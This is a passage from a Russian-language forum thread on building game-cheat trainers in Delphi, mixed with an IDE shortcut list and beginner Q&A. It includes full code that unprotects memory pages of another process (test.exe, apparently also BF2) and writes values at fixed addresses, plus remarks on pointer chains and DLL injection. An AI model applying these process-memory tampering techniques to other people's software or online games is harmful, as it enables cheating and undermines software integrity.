SetLength(byteArr, 15);
closehandle(PidHandle);
end else
begin
MessageDlg('Start BF2 First.', mtwarning, [mbOK],0);
end;
end;

// Timer to Detect Hotkey and Execute your Buttons Code
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if
(GetAsyncKeyState(VK_F1) <> 0)
then Button1.Click;
end;
end.

Источник: mpcforum.com

  • Плюс 1
Ссылка на комментарий
Поделиться на другие сайты

Ещё хочется добавить по поводу ToolHelp 32 API.

В данном случае

FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

мы создаём поиск процессов. А ещё существует поиск модулей. В тех случаях, когда нам нужно исправлять что-то в модулях.

Также хочу напомнить, что есть класс TSystemInfo32 (вроде правильно написал), который может помочь в некоторых случаях. Например определить адресные границы .exe файла или модуля, найти директорию в которой находится исполняемый файл по дескриптору процесса и другие

СПРАВОЧНИК ПО API функциями

Ссылка на комментарий
Поделиться на другие сайты

Я не понял, зачем в приведенном выше коде используется несколько раз одна и та же процедура с единственным измененным параметром. Выигрыша в памяти в данном случае нет (а я так понял, что размер последнего параметра процедуры Poke призван снижать размер затрачиваемой памяти). Это раз. А во-вторых - с большинством современных игр этот трюк уже не прокатит, так как секции кода обычно имеют защиту от записи, и перед записью в них нужно менять защиту функцией VirtualProtectEx, затем делать запись и потом снова указанной функцией восстанавливать исходную защиту. Иначе будет вылет из игры.

Ссылка на комментарий
Поделиться на другие сайты

Согласен с Xipho, что много поуков. Рационально оставить только pokeX и соответственно вызывать его. И переименовать лучше на просто poke.

Ссылка на комментарий
Поделиться на другие сайты

Я не понял, зачем в приведенном выше коде используется несколько раз одна и та же процедура с единственным измененным параметром. Выигрыша в памяти в данном случае нет (а я так понял, что размер последнего параметра процедуры Poke призван снижать размер затрачиваемой памяти). Это раз. А во-вторых - с большинством современных игр этот трюк уже не прокатит, так как секции кода обычно имеют защиту от записи, и перед записью в них нужно менять защиту функцией VirtualProtectEx, затем делать запись и потом снова указанной функцией восстанавливать исходную защиту. Иначе будет вылет из игры.

Ну, так посвети нам, если не трудно ^_^

  • Плюс 1
Ссылка на комментарий
Поделиться на другие сайты

  • 1 месяц спустя...

Я не когда не задумывался насколько полезны некоторые горячие клавиши при программировании в Дельфи в больших проектах: в частности переходы по закладкам, по процедурам, конструирование шаблонов и др.

Кому нужно, то берите на заметку.

F1 контекстная помощь

F3 продолжить поиск (начать – Ctrl+F )

F4 выполнить программу до положения курсора

F5 поставить Break Point

F7 трассировать с заходом в процедуры

F8 трассировать без захода в процедуры

F9 запустить программу

F10 активизировать главное меню

F11 открыть/закрыть Object Inspector

F12 переход между формой и кодом

Ctrl-F1 контекстная помощь

Ctrl-F2 прервать выполнение программы

Ctrl-F3 посмотреть стек

Ctrl-F4 закрыть текущий модуль

Ctrl-F5 список переменных для просмотра (Watch List)

Ctrl-F7 просмотр значений переменных и их изменение

Ctrl-F9 компилировать проект

Ctrl-F10 активизировать главное меню

Ctrl-F11 открыть проект

Ctrl-F12 список модулей проекта

Shift-F7 трассировка заходя в каждую процедуру и перескакивание в каждое возникающее событие

Shift-F10 всплывающее меню

Shift-F11 добавить модуль к проекту

Shift-F12 список форм проекта для быстрой навигации

Alt-F4 закрыть проект и все файлы

Alt-F6 переключение окон

Alt-F8 переход к следующей ошибке компиляции

Alt-F7 переход к предыдущей ошибке компиляции

Ctrl-Shift-F4 закрыть проект и все файлы

Alt-Ctrl-F11 менеджер проектов

Alt-Shift-F4 закрыть все окна, но проект не закрывать

Ctrl-Shift-0..9 поставить метку 0..9

Ctrl-0..9 перейти на метку 0..9

Alt-0 список окон

Ctrl-Enter открыть файл с именем слова на котором курсор стоит

Ctrl+клик

мышкой

на слове перейти на определение этого слова

Alt+выделение

текста

(мышкой или

клавиатурой) выделение вертикального блока

Ctrl+Shift+Up

Ctrl+Shift+Down переход от объявления процедуры к ее реализации

Ctrl-Shift-C закончить метод (если он описан – создать шаблон для реализации,если есть реализация – объявить метод)

Ctrl+Space высветить список методов, свойств объекта (после точки)

Ctrl+

Shift+Space высветить список параметров функции

Ctrl-Shift-E открыть эксплорер кода

Ctrl-Shift-R начать/завершить запись макро

Ctrl-Shift-P выполнить записанное макро

Ctrl-Shift-T добавить в To Do лист

Ctrl-Shift-U уменьшить отступ выделенного блока

Ctrl-Shift-I увеличить отступ выделенного блока

Ctrl-Shift-S сохранить как

Ctrl-Shift-G вставить GUID

Ctrl-Shift-B посмотреть иерархию классов

Ctrl+Shift+Y удалить от курсора до конца строки

Ctrl+Shift+Z redo

Ctrl-Alt-W watch List

Ctrl-Alt-R grep result

Ctrl-Alt-T список потоков проекта

Ctrl-Alt-A вставить дату

Ctrl-Alt-S вызовы стека

Ctrl-Alt-H шаблон для документации модуля

Ctrl-Alt-L локальные переменные

Ctrl-Alt-V история событий

Ctrl-Alt-B список Break Points

Ctrl-Alt-M Модули

Ctrl-N вставить пустую строку, курсор остается на текущей строке

Ctrl-M

Enter вставить пустую строку, курсор переходит на следующую строку

Ctrl-E поиск по мере введения символов (Incremental Search)

Ctrl-R поиск и замена

Ctrl-A выделить весь текст (только Дельфи 6+)

Ctrl-T удалить от курсора до конца слова

Ctrl-Y удалить строку

Ctrl-O, O вставить все текущие опции компиляции по позиции курсора

Ctrl+O, C marks a column block

Ctrl+O, I marks an inclusive block

Ctrl+O, K marks a non-inclusive block (default when the editor starts)

Ctrl+O, L marks a line as a block

Ctrl-P префикс, после которого можно вставить любой ASCII код

Ctrl-S сохранить текущий файл

Ctrl-F открыть диалог поиска

Ctrl-J лист шаблонов

Ctrl-K, С копирование блока без буфера обмена

Ctrl-Z отмена

Ctrl-X вырезать

Ctrl-С копировать

Ctrl-V вставить

Ctrl-B список буферов

Ctrl+K, R читать блок из файла

Ctrl+K, W записать блок в файл

Ctrl+O, U изменить регистр букв в блоке на противоположный

Ctrl+O, A диалог: “открыть файл”

Ctrl+O, G переход к строке номер…

Ctrl+K, E перевод слова в нижний регистр

Ctrl+K, T выделить слово

Ctrl+K, Y удалить выделенный блок

Ctrl+K, U unindent block

Ctrl+K, I indent block

Ctrl+K, P печать текста

Ctrl+K, F перевод слова в вверхний регистр

Alt+[

Alt+] найти соответствующую скобку

Ctrl+Q, P вернуть курсор на место последнего редактирования

Ссылка на комментарий
Поделиться на другие сайты

  • 2 недели спустя...

-Создать проект WindowsForms (или дргого типа), сохранив его в некоторую директорию.

-Скомпилировать проект (нажать F9)

-Получиться и запустится exe файл находящийся в директории проекта.

Ссылка на комментарий
Поделиться на другие сайты

-Создать проект WindowsForms (или дргого типа), сохранив его в некоторую директорию.

-Скомпилировать проект (нажать F9)

-Получиться и запустится exe файл находящийся в директории проекта.

О_о получилось, спасибо большое :)...Пока больше вопросов нет.

Ссылка на комментарий
Поделиться на другие сайты

:D Как у тебя так получилось, может ты не так создал проект?! Может ты по какому-то примеру делал, можешь указать? Поищи в интернете простой пример создания приложения на Дельфи. Я думаю тогда вопросы будут решены...
Ссылка на комментарий
Поделиться на другие сайты

Получается такое элементарно. В свойствах проекта надо указать, что приложение Гуевое (Windows GUI), в противном случае проект компилится как Windows Console. А для консольного приложения автоматически создается консоль. Что, в принципе, вполне логично...

Ссылка на комментарий
Поделиться на другие сайты

Да! Спасибо. Получилось. Я тоже с начало думал чего то не то делаю, оказалось...Только в свойствах я не нашел где нужно указать "что приложение Гуевое". Но отметил, что "EXE: Generate console application" и так... пошло.

Ссылка на комментарий
Поделиться на другие сайты

  • 5 месяцев спустя...

Создание трейнера на Дельфи для начинающих

На этом примере будет показано, как сделать программу, которую можно считать очень простым трейнером с деланным за минут 3-5 при готовых модулях.

Скачайте новый проект Source_SimpleTrainer.rar и можете прочитать, как он был сделан. 

Цель - записать один раз значение “100” по некоторому адресу. Возьмём за пример тестовую программу test.exe, которая лежит вместе с исходниками.

Найдём адрес значения в Cheat Engine

post-3-1285051666,29_thumb.png

Рис.1

Поскольку адрес теперь мы знаем,то приступим непосредственно к делу.

Скачаем среду разработки Дельфи Лайт (размер установщика порядка 70 мб). Дельфи не плохая среда разработки и подходит для начинающих только изучающих язык Паскаль или боле сложный язык Дельфи (Дельфи можно называть языком и средой разработки)

Писать мы будем на готовой форме, поэтому трейнер будет порядка 500 кб. Если хотите меньше, то просим на наш форум.

Создадим проект как показано на рисунке.

post-3-1285051667_thumb.png

Рис.2

Разместим компоненты таймера и картинки (шаг 3, шаг 4)

Кликнем на форму, на которой уже есть таймер и пунктир картинки и заполним поля (шаг 1, шаг 2)

post-3-1285051668,37_thumb.png

Рис.3

Выделим мышкой иконку таймера, которую вы перетащили на форму и поставим в свойствах Interval 100.

Кликнем на картинку и установим её свойства:

Align – alClient (выравнивание картинки внутри главного окна)

picture - выберите вашу картинку. Я взял скрин с нового номер журнала Игромании.

У таймер поставьте свойство интервала в 10 мс и Enable поставьте true

Напишем модули (но их писать не надо, т.к. они уже у Вас есть):

MemoryUse.pas

Metrik.pas

Process.pas

Sound.pas

MemoryProtect.pas

Вы можете увидеть их в готовом проекте

post-3-1285051671,12_thumb.png

Рис.4

Дальше сделаем обработчики события: кликаем на компонент, переходим во вкладку events (события), выбираем событие и по два раза кликаем мышкой на нём чтобы сформировать код обработки события.

Теперь на о том как это делается.

Кликаем на окно формы. Переходим в events и дальше как на рисунке

post-3-1285051674,72_thumb.png

Рис.5

Тоже самое теперь проделываем с таймером.

post-3-1285051683,92_thumb.png

Рис.6

И наконец, пишем код выделенный красной рамкой.

post-3-1285051684,74_thumb.png

Рис.7

Полный код представляет следующее.

unit frmMain;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, jpeg;

type

TForm3 = class(TForm)
Image1: TImage;
Timer1: TTimer;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
    { Private declarations }
public
    { Public declarations }
end;

var
Form3: TForm3;

implementation

{$R *.dfm}
uses Process,MemoryUse,MemoryProtect, Metrik, Sound;

var
Process : TProcess;
MemWriter : TMemWriter;
MemProtected : TMemProtected;

procedure TForm3.FormCreate(Sender: TObject);
begin
Process:=TProcess.Create('test.exe');
MemWriter:=TMemWriter.Create(Process);
end;

procedure TForm3.FormDestroy(Sender: TObject);
begin
MemWriter.Free;
Process.Free;
end;

procedure TForm3.Timer1Timer(Sender: TObject);
begin
if (GetAsyncKeyState(VK_F2)<>0) then // если нажата клавиша F2 то…
begin
MemProtected:= TMemProtected.Create(Process,$0045B5A4,4); // снимем защиту страницы памяти с адреса $0045B5A4
MemProtected.UnProtectPage;
MemWriter.TryMemDIGWrite('$0045B5A4','100',_dword); // запишем адрес
 MemProtected.OldProtectPage; // восстановим защиту страницы памяти
MemProtected.Destroy;
sleep(500); // пауза, чтобы пользователь
end;
end;

end.

Компилируем проект: значок плей. В этот момент происходит компиляция и запуск приложения. Проверям. Нажимаем на F2 происходи звук. Кликаем на кнопку тестовой программы и мы видим, что число там стало не 117, а 101.

Заключение.

 Это руководство всего лишь начальный старт для тех, кто только учится писать трейнеры например на Дельфи. Есть ещё более гибкий язык C++ поддерживается средой разработки Visual Studio. Именно на этой среде разработки создано множество игр под операционную систему Windows. На C++ как-то приятнее писать программы c WinAPI, т.е. трейнеры. Но он и гораздо сложнее, чем Дельфи. Так что выбор за вами.

Здесь было рассмотрено, как создавать проект в Дельфи. Немного показано как работать с компонентами VCL, как формировать обработчики событий. Было показано как заставить трейнер реагировать на нажатие кнопки клавиатуры записывая значение по адресу. Вы также можете создать ещё один таймер2, который будет замораживать значения по адресу. Таймер горячих клавиш будет включать таймер2.


procedure TForm3.Timer2Timer(Sender: TObject);
begin

if (cheat1 = true)

begin
    MemWriter.TryMemDIGWrite('$0045B5A4','100',_dword);
end;

end;

Не забудьте перед включением таймер2 использовать один раз


MemProtected:= TMemProtected.Create(Process,$0045B5A4,4); // снимем защиту страницы памяти с адреса $0045B5A4
MemProtected.UnProtectPage;

Без


MemProtected.OldProtectPage; // восстановим защиту страницы памяти
MemProtected.Destroy;
sleep(500); // пауза, чтобы пользователь успел отпустить клавишу

Когда вы выключите таймер2, то используйте


MemProtected.OldProtectPage; // восстановим защиту страницы памяти

MemProtected.Destroy;

Недостатки этого трейнера:

1) Я описал поддержку записи только в адрес памяти простым методом. Но этого может "не хватить".

Причина в том, что часто требуется запись в адрес по указателю. А иногда нужен индивидуальный подход к записи по адресу, когда указатель особенный.

Бывают случаи когда цепочка указателей состоит из динамических звеньев [[[статичный адрес]+смещение1]+смещение2] = значение. Например, смещение 1 постоянно меняется, и найти его можно только через условие, которое можно оформить только программным путём.

Например,


Если [[[статичный адрес]+0x250] равно 0x14, то

{

смещение1 = [[[статичный адрес]+0x254]
[[[статичный адрес]+смещение1]+смещение2] = значение.

}

Т.е. в данном случае имеем динамический массив объектов, которые часто перетасовываются во время игры. Объекты содержат свой собственный тип. Игра обращается к адресу объекта приводя его к типу, а тип получает по идентификатору, который объект содержит в своей структуре.

В общем тут свои сложности.

2) В сжатом виде, если запаковать пакером этот трейнер занимает 270 кб. Можно использовать WinAPI и тогда он будет меньше.

3) Тем не менее, всё это не то. Трейнер по моему представлению должен представлять из себя загрузчик .dll в процесс игры. И там эта .dll ка может творить многие вещи. Тем более dll-ку можно писать на языке высокого уровня и удобно делать очень сложные читы, которые на ассемблере в скриптах Cheat Engine писать трудоёмко.

Если у вас есть вопросы, то их можно задать у нас на форуме.

  • Плюс 1
Ссылка на комментарий
Поделиться на другие сайты

Внимание в моём посте выше в теме "Создание трейнера на Дельфи для начинающих" теперь правильно расставлены скриншоты. В некоторых местах кода было исправление на OldProtectPage - восстановление предыдущей защиты стариницы памяти. Также я не пояснил для тех кто не знает. Страница памяти кратна 1000 байт. Если изменяем защиту памяти процесса для адреса, то меняется вся страница памяти включающая этот адрес. Более подробно я где-то писал на форуме про защиту памяти.

Специально для тех кто не хочет регистрироваться или для Лива исходники пока можно скачать с рапиды - ссылка. Сроки хранения исходников на сайте по ссылке ограничены.

Лив, Xipho мне писал, что должно быть всё нормально. Не знаю, что у тебя за проблемы :) Попробуй спросить у других людей, скачивается ли у них. В другом случае я на сторонние файлобменники выкладывать больше не буду.

Ссылка на комментарий
Поделиться на другие сайты

  • 3 месяца спустя...

Ваш скриншот

image.jpeg

Скрин меню моего делфи

image.jpeg

Перепробывал несколько версий, исходники открываются с ошибкой, поделитесь ссылкой на делфи из статьи)

Ссылка на комментарий
Поделиться на другие сайты

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, Вы автоматически соглашаетесь соблюдать наши Условия использования.